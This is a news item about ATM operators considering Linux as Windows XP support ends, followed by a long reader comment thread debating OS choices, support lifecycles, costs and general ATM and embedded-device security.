Linux May Succeed Windows XP As OS of Choice For ATMs

Dega704 sends this news from ComputerWorld: "Some financial services companies are looking to migrate their ATM fleets from Windows to Linux in a bid to have better control over hardware and software upgrade cycles. Pushing them in that direction apparently is Microsoft's decision to end support for Windows XP on April 8, said David Tente, executive director, USA, of the ATM Industry Association. 'There is some heartburn in the industry' over Microsoft's end-of-support decision, Tente said. ATM operators would like to be able to synchronize their hardware and software upgrade cycles. But that's hard to do with Microsoft dictating the software upgrade timetable. As a result, 'some are looking at the possibility of using a non-Microsoft operating system to synch up their hardware and software upgrades,' Tente said."

Comments

possibility...some...

[turkeydance]

and if it's really, really cheap to do.

Re:possibility...some...

[icebike]

Linux is already the norm in Brazilian ATMs, so the banks can just buy ready built versions.

Bye now, I'm off to my Portuguese class.

Re:possibility...some...

[Anonymous Coward]

Mod this up. The ATM industry is INCREDIBLY cheap.

Re:possibility...some...

[Anonymous Coward]

The BANKING industry is INCREDIBLY cheap

I agree with AC's sentiment. Unless you own the bank, you're not going to make any real money working there. (Unless you are in investment banking, which is a completely different animal.)

Re:possibility...some...

[mlts]

I've seen XP on some ATMs, not XPe, although it does get annoying when an ATM is down due to an XP activation screen.

The ATM industry needs to stop being pennywise and pound foolish.

Instead, they need to design their platform once, do it right, then as time goes on, add a UI refresh every so often so the cute cartoon characters get a facelift every year or two.

Were it up to me with ATM design, I'd probably charge off a quarter profit to do the architecture right, then once done, pretty much coast from there.

First, I'd give a lot of consideration to QNX. ATMs are not really needing a RTOS, but QNX has an excellent reputation for security (with decent government certifications to back that.) From there, add a TPM chip, userland, and the application. Done right, someone plugging in an unauthorized USB flash drive won't be able to do as much, compared to XP with AutoPlay/AutoRun turned on.

Linux is also a good choice. One could go with a full userland or an Android style userland, both with SELinux to minimize damage. Linux may not have the C2 cert that QNX does, but it will hold its own in security, if done right.

Re:possibility...some...

[nospam007]

"Mod this up. The ATM industry is INCREDIBLY cheap."

Can't be. My ATM has always money to spare.

Re:possibility...some...

[Hognoxious]

Where is it? The one I use always comes up with "Insufficient funds".

Re:possibility...some...

[quitte]

Or maybe they could even not do facelifts?

Of course I'm glad the CRT ATMs with burned in interfaces are gone. But apart from that? I don't like the Welcome screen and Ads. I want the thing to be fast.and easy to use. I don't want a lot of functionality. I want to enter the sequence of keys I press to get money without having to follow the rules on the screen that I have seen hundreds of times before.
I want to be able to read the screen at all times of day independent of where the sun is.

As with all embedded systems if the question wether something is an improvement can not be answered without a doubt you'd better leave it as is or find a simpler solution. Like a physical button. Or an instructional poster.

Re:possibility...some...

[Anonymous Coward]

First, I'd give a lot of consideration to QNX.

Given the current state of RIM, I'd buy it.
Somewhere, surely BES can be thrown in.

Re:possibility...some...

[Marxist Hacker 42]

It's taken several decades for them to get off of 110 switched baud over phone lines. But yes, I agree. What the hell does an ATM need a real operating system for anyway? It barely even needs a TCP/IP stack.

Re:possibility...some...

[Marxist Hacker 42]

Forget Linux. Try NXT:
http://www.youtube.com/watch?v=L0Z-ym0k89Q

Seriously, if you can run this on a NXT brick why the hell are you bothering with a graphical operating system?

Re:possibility...some...

[lgw]

I saw a demo of an ATM "jackpot" hack. The OS security doesn't come into it. The lack of a signed boot image does, as does what was described as "a fundamental design flaw in the auth protocol" that the researcher wouldn't elaborate on.

XP was never the issue - you want the ATM to auto-update from a legit image (remember: field maint costs dwarf fraud costs here). The problem is solved by the boot loader (for one a good use of the TPM chip, as you point out).

Mostly though: do any pen testing at all. They're so far from the security of the OS mattering right now it's silly. Clearly you want a lightweight, free OS in any case, but one where it's easy to find people to write secure apps seems like the first priority.

Re:possibility...some...

[Anonymous Coward]

QNX is (from a technical perspective) a great OS, but...

Do you have any idea what a QNX dev license costs? - A lot: ~USD 120,000 (+ yearly maintenance subscription) per developer. That's not a typo.... + royalty per device
For Microsoft development: MSDN Ultimate USD 12,000, but even MSDN Pro @ USD 1200 (+ $800 yearly renewal) will get the job done. ~70 royalty per device.
Linux: free (unless you value your time, then there's a cost).
Android: free (unless you value your time, then there's a cost).
(Insert every other free OS de jour FreeRTOS, NuttX, etc.): free (unless you value your time, then there's a cost).

Re:possibility...some...

[Anonymous Coward]

And then don't forget about driver support. I hope you like writing a lot of custom drivers for that specialized hardware. Assuming that you can get the documentation for the hardware.. Easy to say, not so easy to do...

Re:possibility...some...

[RockDoctor]

I want to enter the sequence of keys I press to get money without having to follow the rules on the screen that I have seen hundreds of times before.

You are free to want what you want. However, the bank is free to sell your eye-ball seconds to whomever it wants.

Feel free to change banks if you don't like this. If you don't like the terms and conditions of the new bank's service, feel free to not be able to cash your pay cheque or pay your mortgage due to not having a bank account. Or, you could try lubrication? But you're going to get fucked nonetheless.

heartburn in the industry?

[Anonymous Coward]

Oh if only Microsoft had given them more than like 10 years notice of end-of-support, they might have had time to prepare....

Re:heartburn in the industry?

[jedidiah]

> Oh if only Microsoft had given them more than like 10 years notice of end-of-support, they might have had time to prepare....

I've been in shops where the key mission critical app was 30 years old. All of the shiny new MBAs would come in and try and replace that thing with newer tech but would ultimately fail. The 30 year old product did the job and the shiny new things couldn't.

ATMs are such a key part of their business that it really makes no sense for them to not be in total control.

Linux allows that.

Although they should have used a more industrial product to begin with. The choice really shouldn't be between Linux and Microsoft. There should be better targeted options and the market should have allowed those to thrive.

Re:heartburn in the industry?

[MightyYar]

You aren't thinking like a hardware manufacturer. Using XP on all of their hardware - new and old - enabled them to support all hardware with one code base. Switching to the newest version of Windows at any stage makes support more complicated. Maybe it wouldn't matter for some embedded devices, but you need to keep ATMs up to date for security reasons. So sure, the 10-year-old ATMs you can just write off and call obsolete. But what about those sold 5 years ago? Last year? Your choices are to sell your customers a new "upgrade kit", which will piss them off, or swallow the costs. Once you swallow the costs, you start to wonder whether it would be better to simply use a stable OS in the first place. There are vendors who will support a certain version of Linux more or less forever.

Incidentally, XP Embedded is supported through 2016, so this is not as pressing a matter as it would seem.

Re:heartburn in the industry?

[MightyYar]

Although they should have used a more industrial product to begin with.

This can be hard in practice. Vendors of niche products often only support Windows. Even if they support other OSes, you end up being the beta tester since the code is not as widely used. We ended up using XP embedded years ago because, of all things, USB memory stick compatibility. We tried to use Wind River's drivers, Linux drivers (years ago), and even Windows CE - but XP was the only solution that worked with almost every stick out there. When we used Wind River's solution, we had to maintain a compatibility list. But this effort was impossible once they started to explode in popularity. We of course sold compatible sticks to use with our equipment, but this was not popular with our customers and our competitors used Windows, so we were at a disadvantage.

Re:heartburn in the industry?

[Richard_at_work]

They originally chose XP because it had a much lower cost of entry than anything else, and I'm not saying that as a Linux hater - yes, you do get the source to do with as you may, but that means hiring developers who know how to do something with that rather than just hiring VB developers. Low start up costs versus less control over your long term environment. But that wasn't an immediate problem when the EOL date was a decade off.

So now, a decade on, they are reaping what they sowed.

Re:heartburn in the industry?

[Immerman]

I suspect ATMs straddle the line between being too sophisticated and varied to lend themselves to a simplistic embedded system, and too niche a product to be cost effective to develop a specialized OS from the ground up. Windows gave them something that got the job done more cheaply than a custom-built OS. Now that Linux has gone mainstream it does open the door to a specialized OS since it need not be built from the ground up - adding and removing modules typically involves *far* less effort, especially when there are numerous variations of stripped-down specialty distros to start from.

Re:heartburn in the industry?

[slomike1]

Luckily support for XP embedded is not ending on April 8th. It is supported until January 2014.

Re:heartburn in the industry?

[mlw4428]

This makes sense within a time bubble perspective.

Re:heartburn in the industry?

[gweihir]

These are not computers, these are devices. They run forever as they are a bit more expensive and a bit better built than "consumer" trash. Of course, sticking anything from MS in there is pure stupidity, but it seems they are learning that lesson now.

Re:heartburn in the industry?

[gweihir]

There is no reason to write-off 10 year old ATMs. They are likely in good working order, and you can get spare parts. You do not throw away a 10 year old plane or helicopter either. These devices are more like elevators: Keep them in good order, and they will serve you well for a few decades. The only problem is that the people that selected the OS had no understanding at all what kind of device they were designing for.

Now, with an (embedded) Linux, they can back-port security fixes (or have them back-ported for them) and can continue to use the same application code for at least a few decades, as the UNIX API has been pretty stable for 20 years (or even more if you restrict yourself a bit). Of course, some will be stupid and use Gnome or KDE for the GUI, but those that have some understanding of how things work will stick with Window-Managers that have been around forever and stable-as-stone graphics toolkits.

Re:heartburn in the industry?

[Anonymous Coward]

Playing devils advocate, what lesson are they learning?

Had they run Linux and not upgraded it in 10 years would you be stating they were incredibly stupid for doing so?

Re:heartburn in the industry?

[someone1234]

Thanks heaven! We got plenty of time then.

Re:heartburn in the industry?

[redmid17]

XP Embedded goes EOL in early 2016

Re:heartburn in the industry?

[drinkypoo]

So now, a decade on, they are reaping what they sowed.

Now, a decade on, there's plenty of Linux developers for them to hire. Back then, there weren't as many. And due to economic factors, they will work for peanuts. Sounds like they're reaping what they sowed all right, and it was a good working decision for them to make.

Re:heartburn in the industry?

[tomhath]

ATMs are such a key part of their business that it really makes no sense for them to not be in total control.

Linux allows that.

Banks aren't in the business of manufacturing ATM machines, they buy them.

It makes perfect sense for ATM vendors to partner with Microsoft for the OS. They really don't want to be in the business of writing an operating system when they can buy one off the shelf.

The only real issue is that an ATM is pretty expensive; they're designed to have a useful life of about ten years. Banks don't want to scrap probably hundreds of millions' of dollars worth of good working equipment, so they lean on Microsoft to continue support. Microsoft leans back by increasing the price of support until the balance tips in favor of replacing the machines anyway.

Re:heartburn in the industry?

[Richard_at_work]

Its still going to be more expensive for them (the company) to start from scratch with the environment than it would be otherwise.

And you are assuming that all those Linux developers have the knowledge and ability to support the *entire* Linux platform, from the kernel on upward, when a particular device driver or six is dropped from mainstream due to lack of maintenance or whatever, because thats the same issue as what they are having with the XP EOL.

Re:heartburn in the industry?

[serviscope_minor]

They originally chose XP because it had a much lower cost of entry

Really? I'd heard they chose XP because they wanted to be able to run flash on the ATMs. As stupid as that sounds, many ATMs play advertisements (generally for the bank in question) of some sort and flash was the popular delivery platrform. Since the ATM vendors had control over the content it presented no security risk, but they did require a supported platfotm.

Re:heartburn in the industry?

[drinkypoo]

And you are assuming that all those Linux developers have the knowledge and ability to support the *entire* Linux platform, from the kernel on upward,

Now look. The conversation is over here, in the infield. Come in from left field, and we'll talk. They don't all need to do that. Only one or two need to be able to do that per company. How many drivers do you think they actually will need to keep up to date? Also, the drivers they need won't even be in the kernel. They'll be maintaining them themselves anyway. This will probably lead them to reduce the number of interfaces they use.

Re:heartburn in the industry?

[MightyYar]

There is no reason to write-off 10 year old ATMs.

I completely agree. I was just omitting them from my argument because they were not necessary to make my point.

The economics are simple: the old machines are worth supporting until the costs of increased maintenance (including software maintenance fees) exceed the costs of financing new equipment. You would obviously have to pay someone to maintain the old versions of Linux - a cost that will go up as fewer people use it.

Re:heartburn in the industry?

[pnutjam]

If they are concerned about support, it sounds like they are updating.

Re:heartburn in the industry?

[MightyYar]

I know you meant 2016 :)

Yes, this is true. We will have a painful transition, though, since even our new equipment still goes out with XP Embedded. At some point we will have to sell our customers an upgrade kit if they want to stay current. The newest hardware will support a newer Windows Embedded version, but there is nothing to be done for the older boxes. Fortunately, our equipment is not internet-connected (though it is networked), so security isn't really a principle concern.

Re:heartburn in the industry?

[cusco]

Yes, there are plenty of programmers in India and China who know how to program to Linux now. That's where the banks will go now, because lowest bidder will always win a bank's business. Possibly the only people cheaper than doctors or lawyers.

Re:heartburn in the industry?

[cheesybagel]

Doctors? Cheap? Where?

Re:heartburn in the industry?

[js3]

> Oh if only Microsoft had given them more than like 10 years notice of end-of-support, they might have had time to prepare....

I've been in shops where the key mission critical app was 30 years old. All of the shiny new MBAs would come in and try and replace that thing with newer tech but would ultimately fail. The 30 year old product did the job and the shiny new things couldn't.

ATMs are such a key part of their business that it really makes no sense for them to not be in total control.

Linux allows that.

Although they should have used a more industrial product to begin with. The choice really shouldn't be between Linux and Microsoft. There should be better targeted options and the market should have allowed those to thrive.

If your mission critical app is 30 years, why would you use XP?

Re:heartburn in the industry?

[OhSoLaMeow]

Someone bring me my flux capacitor!

The questions is not "where is my flux capacitor" but "when is my flux capacitor". You're just not thinking fourth-dimensionally.

Re:heartburn in the industry?

[Anonymous Coward]

uhm, can't they just re-image the firmware/OS-layer on the ATMs rather than ditch them entirely?

Re:heartburn in the industry?

[Anonymous Coward]

Mod up, because it's true. Flash/Flex is really the only multimedia environment that has a large group of developers and designers, which allows the bank to outsource stuff to various agencies.

The good news is that the front-end code is probably easily portable to Flash for Linux, the bad news would be all of the backend stuff.

Re:heartburn in the industry?

[geoskd]

There is no reason to write-off 10 year old ATMs. They are likely in good working order, and you can get spare parts. You do not throw away a 10 year old plane or helicopter either. These devices are more like elevators: Keep them in good order, and they will serve you well for a few decades. The only problem is that the people that selected the OS had no understanding at all what kind of device they were designing for.

Absolutely incorrect. These are network attached devices by definition. Without regular patches against newly discovered (but old) security threats, these machines would quickly become the targets of digital thieves, and subsequesntly be throurohgly owned...

Unlike Linux, when MS EOLs a product there is really no reliable way of ensuring its continued security, and banks are supposed to be risk averse, espeically the simple to understand kind of risks with no upside.

They really have no choice but to replace the machines and/or upgrade the OS.

Re:heartburn in the industry?

[Princeofcups]

This can be hard in practice. Vendors of niche products often only support Windows. Even if they support other OSes, you end up being the beta tester since the code is not as widely used. We ended up using XP embedded years ago because, of all things, USB memory stick compatibility. We tried to use Wind River's drivers, Linux drivers (years ago), and even Windows CE - but XP was the only solution that worked with almost every stick out there. When we used Wind River's solution, we had to maintain a compatibility list. But this effort was impossible once they started to explode in popularity. We of course sold compatible sticks to use with our equipment, but this was not popular with our customers and our competitors used Windows, so we were at a disadvantage.

That is a prime example of the power of the Microsoft monopoly. All hardware vendors have to make sure that their products work with Windows, on their dime. Anything else is, including Mac support, is charity.

Re:heartburn in the industry?

[Deathlizard]

I don't see where Linux would be that much of a better benefit for ATM's since it's lifecycle is typically short as well.

XP is kind of a enigma for MS, since they supported far longer than most of their OS'es (I think windows NT and maybe DOS had a longer support cycle) Lifecycle was one of the reasons OS/2 survived so long since IBM supported it for 10 years.

In the Linux world, the longest LTS distro support I've seen is 5 years. Sure you can upgrade Linux easier than Windows in many cases but you may still run into issues from one kernel update to the next.

Best practice would be the ATM Vendors (Diebold, NCR, ETC) supporting their own RTOS build specifically designed only for ATM use, and Hardened to the hilt for financial transactions.

Re:heartburn in the industry?

[Anonymous Coward]

This reminds me of the somewhat troublesome beginnings of GNU/Linux (the days when Bill still stated that "computers do crash, so we have to live with it" or so) which AFAIK was due to the fact that GNU/Linux investigated the hardware it had to run on and initially refused to boot on many a PC while DOS and its graphical addons simply disregarded the complexities and ran - until they ran into it (many-to-one relationship demo: throwing windows out the window ;-) )...this was the time when "hardware compatibility lists/databases" came up. So to do it right customers as well should do their necessary work and stay away from the lottery as we have left the initial "emerging market niche" behind - which does not allow messing about anymore.
Q: what rules out e.g. OpenBSD for this ? At least security is not an afterthought then.
And: easy install and reboot should never be considered an advantage for a critical system: it should just run instead these days (cf. "five zeroes" or maybe fewer zeroes and less fiction ?)...there are statistics somewhere on the net (sorry, it must have been at least a year or so ago when some CPU was reportedly taken out of service, which had run for decades - don't remember details anymore).

Re:heartburn in the industry?

[Anonymous Coward]

Linux allows what? Support for longer than XP had? Ha! That's complete BS. Even if they are just using the kernel, support is only going to be a couple of years. If they use a whole distro and pick an LTS variant it may get 4 to 6 years tops.

Re:heartburn in the industry?

[RabidReindeer]

Actually, I agree that an RTOS makes more sense for ATMs if only because the less general-purpose functions you provide, the less things there are to exploit. Originally, of course, resources were too valuable and a custom system would have been the rule, but that was before things like the $25 Raspberry Pi Linux board.

The Achilles' Heel of Windows is that each new release is so much fatter than the last one that you have to scrap the old hardware just to move up to the new OS. Linux tends to support some pretty old machinery. I have one system still running on a Pentium 100, although it's not using a modern kernel.

Re:heartburn in the industry?

[whitroth]

Sorry. RHEL (and thus CentOS, and I presume Scientific Linux) have 10 year support.

                  mark

Re:heartburn in the industry?

[Anonymous Coward]

I know you meant 2016 :)

...so security isn't really a principle concern.

Spelling, however...

(Principal should not be confused with principle. Principle is always a noun, meaning "moral rule", which is sometimes erroneously used with the meaning of the adjective principal.

        Incorrect: He is the principle musician in the band.
        Correct: He is the principal musician in the band.)

Re:heartburn in the industry?

[Hognoxious]

Principal can also be a noun. If you don't believe me, ask the headmaster.

Re:heartburn in the industry?

[Hognoxious]

You're speaking English, he's speaking American.

Re:heartburn in the industry?

[jedidiah]

> They originally chose XP because it had a much lower cost of entry than anything else

Yes. Because that is certainly an appropriate approach to take with a machine that dispenses CASH.

The Eugene Crabs mentality is OK for consumer toys and is pretty much completely inappropriate for anything more serious than that.

Re:heartburn in the industry?

[jedidiah]

> Banks aren't in the business of manufacturing ATM machines, they buy them.

The same logic applies regardless of whether or not you are building the device yourself or buying it from someone else.

This Microsoft style approach to "real work" is why we desperately needed something, anything to blunt Microsoft's assimilation of server and embedded computing. Better options need to be available.

Re:heartburn in the industry?

[mspohr]

So... You're shipping new product that you know will be obsolete in the near future and you're worried about how to sell them an upgrade kit when you should be worried about why your company is so pathetically incompetent that they haven't planned for this obsolescence?
Not connected to the Internet is not security. Do you remember how Stuxnet made it on to centrifuges which were not connected to the Internet?

Re:heartburn in the industry?

[sjames]

That should give them just about enough time to get a new platform built and thoroughly tested.

Re:heartburn in the industry?

[Marxist Hacker 42]

Makes me want to design one out of Lego using Robotic C.

Seriously, WTF? This isn't rocket science.

Re:heartburn in the industry?

[Marxist Hacker 42]

I can't imagine an ATM development company not being able to control the hardware. Heck, half of it (from the check scanners to the bill dispenser) is likely custom built anyway.

Re:heartburn in the industry?

[Marxist Hacker 42]

Mumbai. Haven't you heard of Medical Tourism?

Re:heartburn in the industry?

[MightyYar]

Well, you'll go out of your mind when I tell you that it runs as admin then.

Our company is not incompetent. Like any business, we manage limited resources. If our customers start demanding security, then we will be happy to oblige. As it is, they just don't let in outside USB sticks... they learn this the first time the entire factory gets infected by the flavor of the day virus. They understand that the alternative is frequent updates to hundreds of machines, and they want no part of that. A determined adversary would indeed find our machines trivial to sabotage. If you have enemies like the United States, I suggest finding another manufacturer or keeping spies away from your equipment.

Re:heartburn in the industry?

[lgw]

I always wanted a job where the title was "principle engineer". Not sure what that would involve, but it sounds much more interesting than "principal engineer".

Re:heartburn in the industry?

[mspohr]

I guess if they run your equipment where they have good control of the physical environment, they can get by... However, you might want to think about moving to a more secure OS and actually building some security into the software (since you have to change OS anyway due to the expiration of Windows XP).

Re:heartburn in the industry?

[gsnedders]

At least Flash Lite has been ported by third parties (the Wii's port was done by Opera), so it's not per-se clear that a already-supported platform was needed for the sake of Flash compatibility.

Re:heartburn in the industry?

[MightyYar]

We would love to make things more secure, but there are some practical constraints. We have no physical access to the equipment once it is installed, and the customer is loath to touch software on machines in production. We have several CPUs with several different OSes which serve different purposes. Windows is "good enough" for one small part of the machine. A major vendor sort of requires it for a certain library, and it makes supporting USB devices easy. If it gets infected, it probably won't impact production but worst case you can just swap out the box with Windows on it for a fresh box. They typically have hundreds or thousands of these machines in production, so spares aren't usually an issue. The Windows box can't be put directly on the network in any case - that connection is handled by vxworks, and typically the machines are on a separate network that only manages the production line.

I think we will consider Linux when XP is no longer licensed, but I can't rule out some kind of Windows Embedded system since that is the path of least resistance and the vendor clearly prefers sending us Windows libraries. We are just now starting to ramp up the newer box that would support a newer version of Windows. Ideally this new box could swap in with the old one so that we don't need to maintain two sets. We're not a small company, but there is a very small crew maintaining this particular part of the machine.

Re:heartburn in the industry?

[geronimo1000]

XP Embedded goes EOL in early 2016

Most ATMs don't run XP Embedded (which seems counter-intuitive) - they actually run a heavily-customized version of XP Pro.

http://www.zdnet.com/windows-x...

Re:heartburn in the industry?

[Deathlizard]

Yep. just noticed this. It's been awhile since I looked at a Enterprise Distro but it looks like RHEL and Suse both go 10 years or more now.

Regardless, If I had to make a call an RTOS would still be a better choice. More control, less overhead and better reliability.

Re:heartburn in the industry?

[Anonymous Coward]

You seem to be under the impression that an ATM *isn't* a big box with a standard white box PC inside of it, with various peripherals connected up via RS-232 or USB.

Re:heartburn in the industry?

[fluffy99]

Fortunately, our equipment is not internet-connected (though it is networked), so security isn't really a principle concern.

Didn't the power industry say the same thing? Never, ever, assume the network is safe and not internet accessible if you don't own the network.

Re:heartburn in the industry?

[redmid17]

XP Embedded goes EOL in early 2016.

Re:heartburn in the industry?

[gweihir]

ATMs are not in any way networked that is accessible from the Internet. Sure, you may have a VPN endpoint in there that is separate from the ATM (and used by it) and that one needs to be maintained and secure, but the ATM itself does not need to be. How incompetent do you think banks are when it comes to protection machines that hold loads of cash? And why do you think hacking ATMs over the net is not a frequent occurrence?

The short version is that you have no clue what you are talking about.

Re:heartburn in the industry?

[gweihir]

Ok, fair enough.

As to the cost of maintenance, if there is no need to support new hardware, it may actually not go up at all, as there is very little that needs doing, if anything at all.

Re:heartburn in the industry?

[MightyYar]

It depends if the application needs security fixes or not. If it does, you need someone to backport fixes into the old kernel / application stack you are using. You probably will need to support new hardware at some point, since even "long term support" hardware can only realistically be expected to be produced for about 5 years. Often you get lucky and the next version is backwards compatible, but still...

Re:heartburn in the industry?

[MightyYar]

The power industry is critical infrastructure. Our equipment is only used in assembly lines and the resulting product is subject to QA. Even a single badly-behaving machine would be detected in a short time. There are safety issues to the operator, but most safety systems are never installed by the Chinese (and other Asian) customers - and in any case they are usually either hardware lockouts or controlled by the real time OS, not Windows.

We have had virus outbreaks - specifically due to infected USB sticks. There is little we can do about this, since the customer is very hesitant to touch the software in machines that are in active production. They seem to prefer simply forbidding outside memory sticks.

Re:heartburn in the industry?

[gweihir]

ATMs are not security-components network-wise. They rely on being on a secure network. Whether that means dedicated line, VPN-link, attachment to a secure network in the bank they are installed in depends. But in any case, this secure link is not an integral part of the ATM. It may be a separate box inside the physical perimeter though.

As to spare-parts availability, you are thinking about the consumer-trash we all use. Look at embedded-PC, automotive and like industries. Often you get 20 year parts availability, and even longer for compatible interfaces. For example, you can still get embedded PC boards with ISA slots. These have vanished in consumer PCs some 10 years ago. They will still be available in the industrial sphere in 10 or 20 years.

And then there is the question of what interfaces and parts an ATM actually needs. Physical IDS, card reader, buttons are likely all serial (RS232) which still is and will remain the industrial (not consumer) standard for slow peripherals. It is simple, reliable, has a huge EMV tolerance and very simple drivers. Camera, if present at all, uses some standard camera bus. Network is Ethernet, and 10Mbit is plenty (supported now for 23 years as 10Base-T and not in the process of vanishing). Video is VESA, this is not a gaming machine.

And so on. An ATM is an industrial device. If banks were less technologically stupid, the respective contracts would have been in place and XP would never have made it in there in the first place. It also has to be notices that this is mostly an US problem where the banking industry has had some serious problems and is seriously behind technologically compared to the rest of the world. Things like the acquisition/merger madness that the Bank of America did did not help.

Re:heartburn in the industry?

[MightyYar]

Often you get 20 year parts availability, and even longer for compatible interfaces. For example, you can still get embedded PC boards with ISA slots. These have vanished in consumer PCs some 10 years ago. They will still be available in the industrial sphere in 10 or 20 years.

Yes, well, there is "availability" and then there is "cost effectiveness". We still use a VME bus, for instance. Problem is that the chips, simple as they are, are getting mighty expensive. So we are transitioning away. Fact is, the bus is so slow that we were finding ourselves bypassing it anyway.

I have to confess total ignorance of the ATM industry other than what I've read. IIRC, they had to move from OS/2 for something really stupid like audio drivers. It wouldn't surprise me if some critical component spurs a similar move to abandon XP. You have to remember that saving a couple of bucks per machine by buying off-the-shelf hardware is a big motivator. I don't know what the volume is for a typical ATM machine, but if they ship 10,000 units, 100 bucks per unit adds up fast!

Re:heartburn in the industry?

[toddestan]

Furthermore, the ATM vendor could continue to provide their own support and patches for Linux for as long as they wanted. Though I'm not sure if they could continue to claim their ATM run "REHL" once they start patching it themselves.

Re:heartburn in the industry?

[gweihir]

You are right about cost effectiveness in the long run. The computer field is still moving way too fast for very long-term standardized components. But things are getting better.

As to ATM machines, I know just a bit more but I cannot discuss where from. But here is one publicly known fact: At least in rural areas of Europe, there were ATMs that did not have network access on the weekend which allowed certain kinds of fraud. The reason they did not have network access was that the bank-branch they were attached to was not running their secure LAN on the weekend to save cost.

Re:heartburn in the industry?

[MightyYar]

That's kind of hilarious.

Re: heartburn in the industry?

[Anonymous Coward]

it has already been established that rh and centos both have 10 year support life cycles, stop spouting fud

Re:heartburn in the industry?

[rev0lt]

Unlike Linux, when MS EOLs a product there is really no reliable way of ensuring its continued security

Exactly like Linux How many linux providers do you know that give security updates for a 10 year period? I'm not talking "upgrade paths", I'm talking about actual patches. How well do you think 10-year old GUI software would run on a modern linux distro? And how about a 15 year old one? Try it.
Most distros won't even allow you to simply upgrade from a 10 year old version. (The most awesome unix SO in this regard I know of is FreeBSD, you can start with a 15-year old release and upgrade it to a modern version, and it would still work - but its not recommended). How many kernel developers you know that work actively with Linux kernel 2.2? And 2.4 pre-2.4.18? Well, 2.2 was quite popular when XP came out. Some of the most popular distros today didn't even have had a release with a 2.2 kernel. Now imagine having to maintain the full software stack in-house, and additionally, develop/troubleshoot drivers for specific hardware. In contrast, Windows "just works" and the communication is encrypted anyway and usually using dedicated links. Everything else security-wise is moot, because assumes access to the machine. If someone has access to the machine, you're already compromised. You'd be surprised by the amount of kiosks, ticketing systems and ATMs are still running Windows 2000...

Re:heartburn in the industry?

[Eric Green]

My brother works in the SCADA industry. All of their stuff is Windows, mostly Windows XP Embedded. Why? Simple. It's the tools. There are various toolkits out there that make building a SCADA application almost drag-and-drop. It'd take four times as many people twice as long to hack all that up in C or C++ under Linux. And they simply don't sell enough SCADA systems to justify that kind of effort -- it's a crowded market where no single vendor manages to sell more than a few hundred instances of any particular model, so per-unit development cost difference between Windows and Linux far outweighs the OS cost difference.

As for why SCADA toolchain vendors don't port their tools to Linux, usually their tools are a large array of components from various vendors strung together with DCOM. Distributed SCADA systems in particular are heavily invested in Microsoft's DCOM OPC for communications between SCADA components such as pipeline pressure monitors, valve position sensors, billing stations, and operational monitoring stations. Linux doesn't support DCOM OPC as such, or any equivalent to it, with any standard libraries though there are emulators that may or may not work. The industry standardized on DCOM OPC for practical reasons -- it existed at the time they started doing all this (back in Windows NT days) while nothing like it existed on Linux back then, and they can write binary components that work pretty much on any Windows system, as versus with Linux where the distributions are not binary compatible and where five year old binaries will rarely run on a modern Linux system. Linux is great when you're selling a whole solution from top to bottom, but if you're trying to sell commercial software to SCADA system developers, Linux presents significant practical difficulties compared to WIndows. So there simply is no incentive to move off of Windows even though they're likely going to now be targeting later embedded Windows versions rather than embedded XP.

I'm not up on ATM's. But it would surprise me if ATM developers did not in fact use similar tools to create their product -- tools that are Windows-centric not because of Linux hatred, but because of history and the practical problems of trying to sell binary-blob commercial software on Linux (which is a task akin to nailing jelly to a tree).

Re:heartburn in the industry?

[Eric Green]

A company which sells a solution at a higher price than other companies because of a higher cost of developing the software is soon to be an ex-company.

You're talking technology. But technology does not determine whether a company stays in business. Delivering in a timely manner a solution that works well enough for a cost equal to or less than the competition is what determines whether a company stays in business. There's a large number of application areas where Windows is what allows that. Luckily that's not *every* industry, or else I would have problems. (Disclaimer: I have been writing commercial software for Linux since 1996, yep, 18 years now).

Re:heartburn in the industry?

[gweihir]

Indeed. But apparently it was still cheaper to do it this way. Of course, back then the banks in Europe would actually saddle their customers with the cost of the fraud. It required some court decisions to change that.

Re:heartburn in the industry?

[walter_f]

Luckily support for XP embedded is not ending on April 8th. It is supported until January 2014.

That's something like 2016, I presume.

Re:heartburn in the industry?

[tapspace]

I work in embedded, and ever since I've known of Wind River I've hated the name, because when I first saw it in a vendor database it was one word, and I thought it looked too much like Win Driver. You chose Win Driver over Wind River.

Re:heartburn in the industry?

[MightyYar]

LOL!

Re:heartburn in the industry?

[Neil Boekend]

The age of the mission critical app matters not, assuming the hardware is still replaceable (or emulatable), the system is airgapped and it needs NO software updates ever.
If it works, don't fix it. However, set the right conditions for "works".

Re:heartburn in the industry?

[Anonymous Coward]

But with linux you can backport any relevant security fixes.

Good for Linux

[Anonymous Coward]

But isn't it somewhat staggering that so many businesses, with years of knowledge that Windows XP would reach end of support, did absolutely nothing about it? Why would I trust that company no matter what OS they run on their ATM?

Re:Good for Linux

[Grishnakh]

Because apparently all of them are equally incompetent.

Re:Good for Linux

[Bert64]

Most businesses don't think that far ahead, at least when it comes to things which are not their core business...
The idea that they would make their business dependent on software only available from a single vendor is equally staggering.

Re:Good for Linux

[Spiked_Three]

Well that a business would decide they didn't like having support dropped, so much so that they plan on moving to something unsupported all the time is ludicrous.

Wait until a bank goes to hire linux support employees. As most moves to Linux, I expect this one to last about 26.2 seconds.

Re:Good for Linux

[Immerman]

Well, that doesn't really answer the question. You also need the other half of the answer: that our culture has developed in a way that makes avoiding the services offered by the companies building and operating ATMS rather severely inconvenient.

Re:Good for Linux

[Bill, Shooter of Bul]

Which company? The Bank or the ATM builder? There are only so many ATM providers, I can only kind of blame banks. The ATM providers, should pay for this. Banks should switch away from DIebold and the like that have used Windows XP for so long.

Re:Good for Linux

[gweihir]

That, or all these cretins got larger bonuses and maybe pay-offs from MS, and when the magnitude of their mistakes became apparent, they were already out of reach.

Re:Good for Linux

[whitroth]

Really? Why? You don't think there's a good supply of programmers who know Linux out there from, oh, all the telecoms*? Or most of the stock trading companies? How 'about Fortune 500 companies that use some other version of Unix, like, say, Lowe's?* Or how about Android programmers? Or.... shall I go on?

You's is a statement based on no facts, or ignorance thereof.

                            mark

* Why, yes, I have worked at two major telecoms, and a short contract at Lowe's, so yes, I do actually know what I'm talking about.

Re:Good for Linux

[Vlad_the_Inhaler]

I have an older laptop which is set up to dual-boot between XP and Linux. It only has 1GB of memory and the dvd drive crapped out years ago so upgrading is not an option. The Linux version I have on there is long-life, but updates ceased at the end of last year and it was a *lot* younger than XP. Suggesting that a Linux release will be around longer than XP was is being optimistic, and if there is such a beast, was that choice obvious 10 years ago?

In my previous job 10 years ago I had responsibility for maintaining a small Linux server for three years. I was running NFS and FTP on it. In those three years the distribution's FTP-server-of-choice changed twice, I kept with ProFTPD because that way my scripts still worked.
XP was supported for far longer than any version of Linux was.

